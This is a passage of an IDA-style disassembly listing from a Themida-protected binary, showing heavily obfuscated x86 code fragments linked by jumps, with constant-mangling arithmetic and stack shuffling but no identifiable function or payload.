sub eax, 794C061Bh
add eax, 69AA6793h
jmp loc_5ACBCA
; ---------------------------------------------------------------------------
loc_5A380D: ; CODE XREF: Themida_:005A4982j
xor edi, 7DF812B5h
jmp loc_5A4630
; ---------------------------------------------------------------------------
loc_5A3818: ; CODE XREF: Themida_:0059AB50j
add esp, 4
jmp loc_598FAF
; ---------------------------------------------------------------------------
loc_5A3820: ; DATA XREF: Themida_:00598820o
lodsb
sub al, 0C7h
jmp loc_5AF846
; ---------------------------------------------------------------------------
loc_5A3828: ; CODE XREF: Themida_:005992F9j
push eax
mov eax, esp
jmp loc_59BF75
; ---------------------------------------------------------------------------
loc_5A3830: ; CODE XREF: Themida_:0059FF31j
; Themida_:005AC2CFj
pop esp
add ebp, 4
xor ebp, [esp]
jmp loc_5A3165
; ---------------------------------------------------------------------------
loc_5A383C: ; CODE XREF: Themida_:0059AA59j
sub bh, ah
pop eax
sub al, bh
mov ebx, [esp]
jmp loc_59E9FC
; ---------------------------------------------------------------------------
loc_5A3849: ; CODE XREF: Themida_:005A6582j
pop ebx
jmp loc_59ED65
; ---------------------------------------------------------------------------
loc_5A384F: ; CODE XREF: Themida_:0059D874j
mov esi, 4
jmp loc_5A19A0
; ---------------------------------------------------------------------------
loc_5A3859: ; CODE XREF: Themida_:005A644Cj
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_5AC3FC
; ---------------------------------------------------------------------------
loc_5A3865: ; CODE XREF: Themida_:005A83F1j
pop edi
mov eax, 14881FFCh
xor eax, ecx
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, eax
jmp loc_5ABA80
; ---------------------------------------------------------------------------
loc_5A387E: ; CODE XREF: Themida_:0059FC78j
add ebx, 59F00395h
add ebx, edx
sub ebx, 59F00395h
pop edx
push eax
push ebx
push 2
pop ebx
mov eax, ebx
pop ebx
sub ebx, 1D533DADh
add ebx, 4085115Fh
add ebx, eax
jmp loc_59E202
; ---------------------------------------------------------------------------
loc_5A38AB: ; CODE XREF: Themida_:005A376Aj
add dword ptr [esp], 4
pop ebp
jmp loc_5AEB40
; ---------------------------------------------------------------------------
loc_5A38B8: ; CODE XREF: Themida_:005AF0BAj
add esp, 4
sub ebx, eax
add ebx, 787619ABh
push 587Dh
mov [esp], esi
mov esi, esp
jmp loc_5AE214
; ---------------------------------------------------------------------------
loc_5A38D2: ; CODE XREF: Themida_:0059E561j
jmp loc_59B813
; ---------------------------------------------------------------------------
loc_5A38D7: ; CODE XREF: Themida_:005A5098j
add eax, edi
push dword ptr [esp]
pop edi
sub esp, 4
mov [esp], edi
jmp loc_5ACE5A
; ---------------------------------------------------------------------------
loc_5A38E8: ; CODE XREF: Themida_:00599635j
sub al, cl
jmp loc_5AEB26
; ---------------------------------------------------------------------------
loc_5A38EF: ; CODE XREF: Themida_:005A60D8j
push 786F1ECDh
jmp loc_5A8EDE
; ---------------------------------------------------------------------------
loc_5A38F9: ; CODE XREF: Themida_:005AB04Aj
pop ecx
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
xchg ebx, [esp]
pop esp
pop dword ptr [esp]
jmp loc_5AE639
; ---------------------------------------------------------------------------
db 0B6h
dd 0ADA3E940h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5A3916: ; CODE XREF: Themida_:005AF148j
push cx
sub byte ptr [esp], 0FFh
pop cx
add cl, 0D3h
xor al, cl
pop ecx
push dx
mov dl, 0C8h
jmp loc_5995D2
; ---------------------------------------------------------------------------
loc_5A392D: ; CODE XREF: Themida_:005ABD8Fj
xchg edx, [esp]
mov esp, [esp]
add eax, 4
jmp loc_5A43CE
; ---------------------------------------------------------------------------
loc_5A393D: ; CODE XREF: Themida_:005ABDC4j
add eax, 0F8B52829h
sub ebx, eax
mov eax, [esp]
add esp, 4
push edx
jmp loc_5A897E
; ---------------------------------------------------------------------------
loc_5A3953: ; CODE XREF: Themida_:005A10F0j
add ebx, edx
pop edx
jmp loc_59ACFC
; ---------------------------------------------------------------------------
loc_5A395B: ; CODE XREF: Themida_:005A96E9j
mov esp, [esp]
add [esp], ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A3968: ; CODE XREF: Themida_:005AC7BDj
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
push 950h
push esp
pop dword ptr [esp]
jmp loc_59D7CC
; ---------------------------------------------------------------------------
loc_5A3986: ; CODE XREF: Themida_:0059DF21j
xchg edx, ebx
xchg eax, edx
not eax
xchg eax, edx
jmp loc_59AAC5
; ---------------------------------------------------------------------------
loc_5A3991: ; CODE XREF: Themida_:0059DA24j
and eax, edi
jmp loc_5A507F
; ---------------------------------------------------------------------------
loc_5A3998: ; CODE XREF: Themida_:loc_5A5FC5j
inc edx
jo loc_59A923
jmp loc_5A908C
; ---------------------------------------------------------------------------
loc_5A39A4: ; CODE XREF: Themida_:0059EA3Bj
push edx
mov edx, 0C0D7721h
shr edx, 6
neg edx
neg edx
jmp loc_59F8FA
; ---------------------------------------------------------------------------
loc_5A39B6: ; CODE XREF: Themida_:005A28C4j
push edx
mov edx, esp
jmp loc_59E8BC
; ---------------------------------------------------------------------------
loc_5A39BE: ; CODE XREF: Themida_:005A36DCj
shl edx, 1
push eax
push ebx
push 0FFFFFFFFh
pop ebx
mov eax, ebx
push dword ptr [esp]
pop ebx
push ebx
mov ebx, esp
jmp loc_5A086C
; ---------------------------------------------------------------------------
loc_5A39D6: ; CODE XREF: Themida_:005AD159j
mov [esp], ebx
jmp loc_59CEBD
; ---------------------------------------------------------------------------
loc_5A39DE: ; CODE XREF: Themida_:005AB6CBj
push edi
jmp loc_5A281A
; ---------------------------------------------------------------------------
loc_5A39E4: ; CODE XREF: Themida_:00598FE3j
push ebx
mov ebx, 7A5AF262h
sub ebp, ebx
pop ebx
mov edx, ebp
jmp loc_599A55
; ---------------------------------------------------------------------------
loc_5A39F4: ; CODE XREF: Themida_:005A8FAFj
add ebp, 4
jmp loc_59E78A
; ---------------------------------------------------------------------------
loc_5A39FF: ; CODE XREF: Themida_:005A37B6j
pop edi
xor edi, edx
pop edx
jmp loc_5A0008
; ---------------------------------------------------------------------------
loc_5A3A08: ; DATA XREF: Themida_:00598830o
push dword ptr [edi+1Ch]
push esi
jmp loc_598D5C
; ---------------------------------------------------------------------------
loc_5A3A11: ; CODE XREF: Themida_:005AE26Ej
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edx
push esi
jmp loc_5A26CB
; ---------------------------------------------------------------------------
loc_5A3A21: ; CODE XREF: Themida_:005ACA03j
sub ebx, 361D163Bh
jmp loc_5AB285
; ---------------------------------------------------------------------------
lodsb
xor al, bl
jmp loc_5AA9DB
; ---------------------------------------------------------------------------
loc_5A3A34: ; CODE XREF: Themida_:0059D57Ej
add al, 5Eh
add al, 0ECh
shr al, 7
jmp loc_5AA1F2
; ---------------------------------------------------------------------------
loc_5A3A40: ; CODE XREF: Themida_:005A0285j
add cl, 0E0h
shr cl, 2
sub cl, 9Dh
add al, cl
mov ecx, [esp]
jmp loc_5AD20C
; ---------------------------------------------------------------------------
loc_5A3A53: ; CODE XREF: Themida_:005ADBFCj
shr ebp, 4
not ebp
xor ebp, 0DFB9EC2Eh
add edi, ebp
jmp loc_5AD502
; ---------------------------------------------------------------------------
loc_5A3A65: ; CODE XREF: Themida_:0059CF93j
; Themida_:0059EBCEj
xor ebp, 32C9C6F6h
add ecx, ebp
pop ebp
add ebx, ecx
pop ecx
push dword ptr [esp]
pop edx
push 109Bh
jmp loc_59E62C
; ---------------------------------------------------------------------------
loc_5A3A7F: ; CODE XREF: Themida_:005A33E9j
mov ebx, esp
push edx
jmp loc_5A7F46
; ---------------------------------------------------------------------------
loc_5A3A87: ; CODE XREF: Themida_:00599184j
push 64B0h
jmp loc_5A93E4
; ---------------------------------------------------------------------------
loc_5A3A91: ; CODE XREF: Themida_:005A503Bj
; Themida_:loc_5AD0FAj
inc ecx
neg ecx
jnz loc_59E69C
add ecx, 38C616FBh
mov esi, ecx
jmp loc_59CF62
; ---------------------------------------------------------------------------
loc_5A3AA7: ; CODE XREF: Themida_:0059C679j
mov [esp], ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
push 340Dh
mov [esp], ecx
push edi
mov edi, 8C22243h
mov ecx, 40CF87B0h
sub ecx, edi
pop edi
push esi
push 14FD2FFDh
mov esi, [esp]
add esp, 4
sub esi, 5C0F0E83h
shr esi, 7
jmp loc_5A61E8
; ---------------------------------------------------------------------------
loc_5A3AEF: ; CODE XREF: Themida_:0059B9EAj
push ecx
jmp loc_5AFE1C
; ---------------------------------------------------------------------------
loc_5A3AF5: ; CODE XREF: Themida_:005A5A83j
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov cx, [esp]
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
jmp loc_5A6688
; ---------------------------------------------------------------------------
loc_5A3B26: ; CODE XREF: Themida_:005A1B66j
pop ecx
pop ebx
add ecx, esi
pop esi
push edx
mov edx, 4
add ecx, edx
pop edx
xchg ecx, [esp]
pop esp
mov cl, ah
pop eax
neg cl
push dx
jmp loc_59CB55
; ---------------------------------------------------------------------------
loc_5A3B44: ; CODE XREF: Themida_:005AF5E0j
mov eax, [esp]
add esp, 4
jmp loc_599FB0
; ---------------------------------------------------------------------------
loc_5A3B52: ; CODE XREF: Themida_:00598ADCj
add eax, 4BF30CB1h
jmp loc_5A2BBF
; ---------------------------------------------------------------------------
loc_5A3B5C: ; CODE XREF: Themida_:005AD81Cj
xor ebx, 21165EC7h
shl ebx, 2
and ebx, 6DFA67ABh
jmp loc_5A8DDD
; ---------------------------------------------------------------------------
loc_5A3B70: ; CODE XREF: Themida_:loc_5A8DD8j
shl ebp, 8
js loc_59A2E1
sub ebp, 0D7A68956h
mov edx, ebp
jmp loc_5A9F9A
; ---------------------------------------------------------------------------
loc_5A3B86: ; CODE XREF: Themida_:005AD5C0j
xor ebx, edx
pop edx
sub ebx, 76BA4DD8h
xor ebx, 7AEB0E59h
push 4149h
jmp loc_5AD293
; ---------------------------------------------------------------------------
loc_5A3B9F: ; CODE XREF: Themida_:0059A378j
; Themida_:005A6D10j
add ebp, 1
push 40FBh
mov [esp], ebx
push 3D2Eh
mov [esp], ebp
mov ebp, 11393A8Dh
add ebp, 55574017h
inc ebp
not ebp
jmp loc_599627
; ---------------------------------------------------------------------------
loc_5A3BC8: ; CODE XREF: Themida_:00598F6Fj
push eax
jmp loc_5AE875
; ---------------------------------------------------------------------------
loc_5A3BCE: ; CODE XREF: Themida_:005AE78Fj
pop esi
mov eax, [esp]
jmp loc_59D0EE
; ---------------------------------------------------------------------------
loc_5A3BD7: ; CODE XREF: Themida_:005A1E09j
; Themida_:005AC366j
mov ebp, ebx
pop ebx
and edx, ebp
pop ebp
jmp loc_59EB96
; ---------------------------------------------------------------------------
loc_5A3BE2: ; CODE XREF: Themida_:005AEE9Ej
sub esp, 4
mov [esp], edx
push esp
mov edx, [esp]
add esp, 4
add edx, 4
push esi
jmp loc_5A4F26
; ---------------------------------------------------------------------------
loc_5A3BFE: ; CODE XREF: Themida_:loc_5A0655j
shl ebp, 5
jmp loc_59A57E
; ---------------------------------------------------------------------------
loc_5A3C06: ; DATA XREF: Themida_:005986CCo
mov ax, [esp]
push edx
push esp
jmp loc_59B843
; ---------------------------------------------------------------------------
loc_5A3C11: ; CODE XREF: Themida_:loc_59A26Dj
add ebp, 10561CBEh
jbe loc_5AB755
shl ebp, 7
jmp loc_59D251
; ---------------------------------------------------------------------------
loc_5A3C25: ; CODE XREF: Themida_:005AF583j
sub ebx, 0DB37344h
push esi
mov esi, 3B381144h
shr esi, 8
and esi, 123E7AF0h
jmp loc_59AB15
; ---------------------------------------------------------------------------
loc_5A3C3F: ; CODE XREF: Themida_:00599C33j
add ebp, esi
pop esi
xchg ebp, [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_5ADCBB
; ---------------------------------------------------------------------------
loc_5A3C51: ; CODE XREF: Themida_:0059C5A1j
or ch, 4Dh
and ch, 96h
and ch, 0ADh
add ch, 1Bh
xor bh, ch
pop ecx
jmp loc_5A40F3
; ---------------------------------------------------------------------------
loc_5A3C65: ; CODE XREF: Themida_:005AEABCj
inc eax
push ebx
mov ebx, 126A572Fh
add eax, ebx
pop ebx
sub ecx, 48D97944h
add ecx, eax
add ecx, 48D97944h
jmp loc_5AA0F7
; ---------------------------------------------------------------------------
loc_5A3C82: ; CODE XREF: Themida_:0059AC5Ej
sub edx, 14300631h
add edx, ecx
push ecx
mov ecx, 216D54D7h
add ecx, 0F2C2B15Ah
add edx, ecx
pop ecx
sub edx, 7E4549A7h
pop ecx
add edx, 58360AEDh
push edi
mov edi, 1E631A2Eh
sub edi, 50573430h
jbe loc_599D00
inc edi
push ebx
mov ebx, 25A02D37h
and edi, ebx
pop ebx
mov ch, ah
mov dl, 25h
loc_5A3CC6: ; CODE XREF: Themida_:005AD22Bj
pop edi
jmp loc_5A6A27
; ---------------------------------------------------------------------------
loc_5A3CCC: ; CODE XREF: Themida_:005A9039j
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 68F806E2h
not ebp
inc ebp
sub ebp, 9325F930h
xor esi, ebp
jmp loc_5A9702
; ---------------------------------------------------------------------------
loc_5A3CEA: ; CODE XREF: Themida_:005A563Bj
pop edx
add esi, 4
xchg esi, [esp]
jmp loc_5A4C7C
; ---------------------------------------------------------------------------
loc_5A3CF6: ; CODE XREF: Themida_:005A01DEj
; Themida_:005AE306j
add eax, 8DB0938h
add eax, 3D62375Dh
sub eax, ebp
jmp loc_5A0A4E
; ---------------------------------------------------------------------------
loc_5A3D07: ; CODE XREF: Themida_:005AD025j
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_5A4AE9
; ---------------------------------------------------------------------------
loc_5A3D17: ; CODE XREF: Themida_:005AD83Ej
and ecx, 2336913h
neg ecx
jmp loc_5AFAE0
; ---------------------------------------------------------------------------
loc_5A3D24: ; CODE XREF: Themida_:005AE986j
or eax, eax
jnz loc_598BCE
push edi
push 58331958h
push dword ptr [esp]
jmp loc_5AD076
; ---------------------------------------------------------------------------
loc_5A3D3A: ; CODE XREF: Themida_:005ABB43j
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5A78F1
; ---------------------------------------------------------------------------
loc_5A3D52: ; CODE XREF: Themida_:0059FB07j
pop eax
jmp loc_5A9708
; ---------------------------------------------------------------------------
loc_5A3D58: ; CODE XREF: Themida_:005A800Cj
push edi
mov edi, 2
push 5FE4h
jmp loc_5AAF1C
; ---------------------------------------------------------------------------
loc_5A3D68: ; CODE XREF: Themida_:0059CC6Ej
pop ecx
sub esi, 773237E4h
sub esi, eax
add esi, 773237E4h
add esi, 496359AAh
mov eax, [esp]
jmp loc_5A8A17
; ---------------------------------------------------------------------------
loc_5A3D85: ; CODE XREF: Themida_:005A5765j
; Themida_:005A9914j
push edx
mov edx, esp
push ecx
mov ecx, 4
add edx, ecx
pop ecx
add edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_5A8450
; ---------------------------------------------------------------------------
loc_5A3DA2: ; CODE XREF: Themida_:005A914Aj
sub ebx, 6AA05C9Ah
mov ebp, [esp]
add esp, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_5AE844
; ---------------------------------------------------------------------------
loc_5A3DB9: ; CODE XREF: Themida_:005A6DE3j
pop esp
xchg ebp, [esp]
pop esp
push ebp
mov ebp, 66440B30h
shl ebp, 6
push esi
mov esi, 49303CF3h
neg esi
sub esi, 42707D19h
not esi
shr esi, 1
xor esi, 0BA2FA2FAh
sub ebp, esi
pop esi
push edx
sub esp, 4
mov [esp], ebp
jmp loc_5A9C41
; ---------------------------------------------------------------------------
loc_5A3DEE: ; CODE XREF: Themida_:0059FDC8j
add ecx, 0F98B3C6Eh
sub esp, 4
mov [esp], edx
mov edx, 5FB5360Fh
sub eax, edx
pop edx
push 4C5Bh
jmp loc_5A31BF
; ---------------------------------------------------------------------------
loc_5A3E0F: ; CODE XREF: Themida_:005ADAFFj
pop ecx
push ebx
mov ebx, 515A47D7h
push ebx
jmp loc_59A089
; ---------------------------------------------------------------------------
loc_5A3E1C: ; CODE XREF: Themida_:005A440Bj
add esp, 4
push ebx
mov bl, ch
jmp loc_59907A
; ---------------------------------------------------------------------------
loc_5A3E2A: ; CODE XREF: Themida_:005A1C1Cj
; Themida_:005AC803j
sub ch, al
sub ch, 0F9h
jmp loc_5A4E89
; ---------------------------------------------------------------------------
loc_5A3E34: ; CODE XREF: Themida_:0059B83Ej
xor ebx, 9C527E9h
xor eax, ebx
pop ebx
jmp loc_5A5294
; ---------------------------------------------------------------------------
loc_5A3E42: ; CODE XREF: Themida_:005A57CDj
xor ebp, ecx
push dword ptr [esp]
pop ecx
add esp, 4
not ebp
push eax
jmp loc_5A1ACD
; ---------------------------------------------------------------------------
loc_5A3E56: ; CODE XREF: Themida_:005AC395j
pop ecx
add edx, ecx
jmp loc_5A800B
; ---------------------------------------------------------------------------
loc_5A3E5E: ; CODE XREF: Themida_:005A9831j
pop eax
xchg edi, [esp]
jmp loc_599C84
; ---------------------------------------------------------------------------
loc_5A3E67: ; CODE XREF: Themida_:0059C8D3j
pop ebp
push edi
mov edi, 7A3E3D61h
add edx, 65AB7E2Dh
sub edx, 2CC504ABh
sub edx, edi
add edx, 2CC504ABh
jmp loc_5A3233
; ---------------------------------------------------------------------------
loc_5A3E87: ; CODE XREF: Themida_:005A8B83j
mov edi, 305B7678h
jmp loc_5AB398
; ---------------------------------------------------------------------------
loc_5A3E91: ; CODE XREF: Themida_:loc_5A1C78j
; Themida_:005ADD26j
jmp loc_5A947B
; ---------------------------------------------------------------------------
loc_5A3E96: ; CODE XREF: Themida_:005A56EEj
add dword ptr [esp], 42371AA3h
sub [esp], esi
sub dword ptr [esp], 42371AA3h
mov esi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
neg esi
sub esi, 59D00A58h
sub ebp, esi
mov esi, [esp]
push 69ECh
mov [esp], ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, 1
push eax
mov eax, 20h
jmp loc_59E489
; ---------------------------------------------------------------------------
loc_5A3EFC: ; CODE XREF: Themida_:005AB666j
mov ecx, 4
add esi, ecx
pop ecx
xchg esi, [esp]
pop esp
sub edx, 44112EB1h
add edx, 2B423305h
push edi
mov edi, 61E41623h
add edx, edi
mov edi, [esp]
add esp, 4
jmp loc_5ABC48
; ---------------------------------------------------------------------------
loc_5A3F2A: ; CODE XREF: Themida_:0059EE68j
push 0FB4D04h
pop ecx
shr ecx, 7
jmp loc_598FF8
; ---------------------------------------------------------------------------
loc_5A3F38: ; CODE XREF: Themida_:005A8006j
mov al, 9Eh
dec al
xor al, 49h
sub bl, al
mov eax, [esp]
add esp, 4
jmp loc_5A414D
; ---------------------------------------------------------------------------
loc_5A3F4B: ; CODE XREF: Themida_:005AD247j
add edx, ebx
pop ebx
add ebx, edx
jmp loc_5A84E8
; ---------------------------------------------------------------------------
loc_5A3F55: ; CODE XREF: Themida_:0059ED7Dj
mov [esp], eax
push 4
push dword ptr [esp]
pop eax
add esp, 4
sub esi, 7CBD66F1h
add esi, eax
add esi, 7CBD66F1h
mov eax, [esp]
add esp, 4
push 6FE8h
mov [esp], eax
sub esp, 4
jmp loc_599316
; ---------------------------------------------------------------------------
loc_5A3F8B: ; CODE XREF: Themida_:0059AFA4j
; Themida_:0059E870j
shl eax, 6
sub eax, 0FBF1D9C2h
mov ecx, eax
mov eax, [esp]
add esp, 4
and [edi+1Ch], ecx
mov ecx, [esp]
push edx
jmp loc_59E53B
; ---------------------------------------------------------------------------
loc_5A3FA7: ; CODE XREF: Themida_:0059BD10j
mov ah, 45h
xor ah, 0DEh
jmp loc_5AD05C
; ---------------------------------------------------------------------------
loc_5A3FB1: ; CODE XREF: Themida_:0059AD5Cj
inc edi
or edi, 1312144Bh
add edi, 0E8449697h
jmp loc_5AC84C
; ---------------------------------------------------------------------------
loc_5A3FC3: ; CODE XREF: Themida_:005AD30Fj
mov dl, 39h
sub al, dl
pop dx
add al, cl
add al, 39h
push dword ptr [esp]
pop ecx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5A4CD2
; ---------------------------------------------------------------------------
loc_5A3FE5: ; CODE XREF: Themida_:0059B2CDj
add edi, 0FD05424Ch
add [esp+4], edi
mov edi, [esp]
add esp, 4
jmp loc_59A5BB
; ---------------------------------------------------------------------------
loc_5A3FFD: ; CODE XREF: Themida_:005AD184j
push ebp
jmp loc_5A2E58
; ---------------------------------------------------------------------------
loc_5A4003: ; CODE XREF: Themida_:00599E78j
add eax, edx
pop edx
push ebx
mov ebx, 4
add eax, ebx
pop ebx
xchg eax, [esp]
mov esp, [esp]
push 252Ah
jmp loc_599265
; ---------------------------------------------------------------------------
loc_5A401F: ; CODE XREF: Themida_:0059FDF0j
push 74BC6D6Dh
mov esi, [esp]
push edi
mov edi, esp
jmp loc_59989C
; ---------------------------------------------------------------------------
loc_5A402F: ; CODE XREF: Themida_:005AE2BEj
push edi
mov edi, 5CA51A36h
add edi, 71E51FB2h
push ebx
mov ebx, 7F224296h
dec ebx
add ebx, 58B005Dh
not ebx
xor ebx, 2F5632Bh
dec ebx
jmp loc_5A25A9
; ---------------------------------------------------------------------------
loc_5A4056: ; CODE XREF: Themida_:005AAF89j
add edx, 0FFFFFFFFh
jmp loc_5ABF63
; ---------------------------------------------------------------------------
loc_5A405E: ; CODE XREF: Themida_:005AB251j
add ebp, 4
xchg ebp, [esp]
pop esp
add ebp, 4
push 50B7h
mov [esp], ecx
mov ecx, 4
add ebp, 7DA348EBh
add ebp, ecx
sub ebp, 7DA348EBh
jmp loc_5AFC96
; ---------------------------------------------------------------------------
loc_5A408E: ; CODE XREF: Themida_:005A3709j
push 7834h
mov [esp], ebp
push esp
jmp loc_59D188
; ---------------------------------------------------------------------------
loc_5A409C: ; CODE XREF: Themida_:005A4BA4j
add edi, 65DF1877h
jmp loc_59C728
; ---------------------------------------------------------------------------
loc_5A40A7: ; CODE XREF: Themida_:0059D589j
push esi
mov esi, 4E436415h
add ebp, esi
pop esi
pop ebx
add ebp, 2
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov cx, [esp]
push ebx
mov ebx, esp
push 7B00h
mov [esp], edx
mov edx, 4
push 6E48h
jmp loc_5A5E21
; ---------------------------------------------------------------------------
loc_5A40DF: ; CODE XREF: Themida_:005A616Bj
mov eax, [esp]
jmp loc_5AD422
; ---------------------------------------------------------------------------
loc_5A40E7: ; CODE XREF: Themida_:005A6A67j
push esp
pop ebp
push 4C53h
jmp loc_5A47B6
; ---------------------------------------------------------------------------
loc_5A40F3: ; CODE XREF: Themida_:005A3C60j
not bh
jmp loc_5A9936
; ---------------------------------------------------------------------------
loc_5A40FA: ; CODE XREF: Themida_:0059F49Aj
pop ecx
loc_5A40FB: ; CODE XREF: Themida_:00599EE3j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebx
xor dword ptr [esp], 5EF87A69h
jmp loc_59EBFE
; ---------------------------------------------------------------------------
loc_5A411A: ; CODE XREF: Themida_:005A23EEj
jmp loc_5AC200
; ---------------------------------------------------------------------------
loc_5A411F: ; CODE XREF: Themida_:005ADF59j
push 31B9h
mov [esp], eax
push ecx
push edx
push ebx
mov bh, 47h
mov dh, 80h
sub dh, bh
pop ebx
jmp loc_5A98DA
; ---------------------------------------------------------------------------
loc_5A4136: ; CODE XREF: Themida_:0059A17Dj
jmp loc_5A97BD
; ---------------------------------------------------------------------------
loc_5A413B: ; CODE XREF: Themida_:005A8DB8j
mov edi, 5F3518EBh
add edx, edi
mov edi, [esp]
add esp, 4
jmp loc_5AD403
; ---------------------------------------------------------------------------
loc_5A414D: ; CODE XREF: Themida_:005A3F46j
push ax
mov ah, 0B5h
xor bl, ah
mov ax, [esp]
add esp, 2
add bl, 1Dh
jp loc_5AB221
push edx
mov dh, 45h
jmp loc_5A0800
; ---------------------------------------------------------------------------
neg cl
mov cl, dl
pop esi
loc_5A4170: ; CODE XREF: Themida_:005A819Cj
sub ebx, 4
xchg ebx, [esp]
jmp loc_5A8CE5
; ---------------------------------------------------------------------------
loc_5A417E: ; CODE XREF: Themida_:005A0404j
pop esi
pop dword ptr [esp]
pop esp
mov [esp], ecx
mov ecx, 324872BFh
xor [esp+4], ecx
pop ecx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
jmp loc_5A6274
; ---------------------------------------------------------------------------
loc_5A41A7: ; CODE XREF: Themida_:00599A50j
push 1889h
mov [esp], edi
push 1
pop edi
and eax, edi
push dword ptr [esp]
jmp loc_5AB94D
; ---------------------------------------------------------------------------
loc_5A41BF: ; CODE XREF: Themida_:0059B2C4j
shr edi, 5
jp loc_5A2B1D
add edi, 0FD05424Ch
add [esp+4], edi
mov edi, [esp]
loc_5A41D5: ; CODE XREF: Themida_:005989ACj
push ecx
mov cl, 57h
neg cl
js loc_5A71E9
dec cl
jno loc_59ABC4
jns loc_5A67CA
pop ebp
loc_5A41EF: ; CODE XREF: Themida_:005A7E00j
mov [esp], ebx
mov ebx, 46F31DD8h
mov edx, 95332158h
sub edx, ebx
pop ebx
mov ecx, edx
jmp loc_5A016E
; ---------------------------------------------------------------------------
loc_5A4206: ; CODE XREF: Themida_:005AC814j
dec edi
add edi, 0FFFFFFFFh
xor edi, 0C6F88E8Dh
jmp loc_5A67CA
; ---------------------------------------------------------------------------
loc_5A4215: ; CODE XREF: Themida_:005A6477j
pop ebp
add esp, 4
pop eax
add ecx, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_5A5AD3
; ---------------------------------------------------------------------------
loc_5A423F: ; CODE XREF: Themida_:0059D61Cj
mov cl, bl
pop ebx
mov [edi+28h], cl
pop ecx
push dword ptr [esp]
pop edx
jmp loc_5A8581
; ---------------------------------------------------------------------------
loc_5A424F: ; CODE XREF: Themida_:0059EF6Aj
; Themida_:005A2999j
or edi, 66A41D19h
jns loc_5A2441
jmp loc_5AE050
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop edi
mov dl, bh
loc_5A4266: ; CODE XREF: Themida_:005A879Dj
mov [esp], edx
push ebp
mov ebp, 1C4E01F6h
mov edx, ebp
jmp loc_5AF6F7
; ---------------------------------------------------------------------------
loc_5A4276: ; CODE XREF: Themida_:0059F64Dj
shl ecx, 4
xor ecx, 0F9F4C272h
xor ebx, ecx
push dword ptr [esp]
pop ecx
push ecx
mov ecx, esp
jmp loc_59F876
; ---------------------------------------------------------------------------
loc_5A428D: ; CODE XREF: Themida_:005AF42Cj
pop esp
jmp loc_5A8820
; ---------------------------------------------------------------------------
mov ax, [esp]
push 7EDDh
mov [esp], ebp
push ebx
mov ebx, esp
add ebx, 4
push eax
mov eax, 4
sub ebx, eax
pop eax
xchg ebx, [esp]
mov esp, [esp]
mov [esp], esp
push esi
push eax
mov eax, 23393512h
mov esi, 23393516h
jmp loc_59C5B7
; ---------------------------------------------------------------------------
loc_5A42CB: ; CODE XREF: Themida_:005A58D6j
jo loc_59E349
xor edx, 6AAB78A0h
jnz loc_5A0180
jmp loc_5AC92C
; ---------------------------------------------------------------------------
push esp
pop ebp
jmp loc_5A4A00
; ---------------------------------------------------------------------------
pop esp
add al, 0ABh
loc_5A42EC: ; CODE XREF: Themida_:005ADA67j
sub dl, bh
jmp loc_59C337
; ---------------------------------------------------------------------------
loc_5A42F3: ; CODE XREF: Themida_:005A0A64j
; Themida_:005A148Bj
mov edi, [esp]
add esp, 4
jmp loc_5A1DD2
; ---------------------------------------------------------------------------
loc_5A42FE: ; CODE XREF: Themida_:0059A7F0j
; Themida_:0059C517j ...
push esi
push eax
push 4
jmp loc_59D094
; ---------------------------------------------------------------------------
loc_5A430A: ; CODE XREF: Themida_:0059D676j
add bl, 8Ah
movzx eax, al
lea eax, [edi+eax*4]
sub esp, 4
mov [esp], edi
jmp loc_5A9B35
; ---------------------------------------------------------------------------
loc_5A431E: ; CODE XREF: Themida_:005A47D2j
xor esi, 718174BCh
mov ebx, esi
pop esi
neg ebx
neg ebx
jge loc_59906F
add ebx, 7F4061E4h
mov bl, 0C8h
pop esp
loc_5A433B: ; CODE XREF: Themida_:005AB960j
xchg eax, [esp]
pop esp
push edi
jmp loc_5A7295
; ---------------------------------------------------------------------------
loc_5A4345: ; CODE XREF: Themida_:005A3662j
pop edi
add edi, 4
push esi
mov esi, 4
jmp loc_5AE9EC
; ---------------------------------------------------------------------------
loc_5A4357: ; CODE XREF: Themida_:005ABF98j
push 1716h
mov [esp], esi
push edx
mov edx, 294B0B40h
sub edx, 294B0B3Ch
mov esi, edx
pop edx
add [esp+4], esi
jmp loc_5A1622
; ---------------------------------------------------------------------------
loc_5A4377: ; CODE XREF: Themida_:005A9C8Aj
mov edi, esp
push eax
jmp loc_5A9315
; ---------------------------------------------------------------------------
loc_5A437F: ; CODE XREF: Themida_:005A4FEFj
add esp, 4
neg eax
jp loc_5A5AB5
xor eax, 6FF97FBAh
jmp loc_5AA24C
; ---------------------------------------------------------------------------
pop ecx
loc_5A4398: ; CODE XREF: Themida_:005A2724j
push 663549h
pop ebx
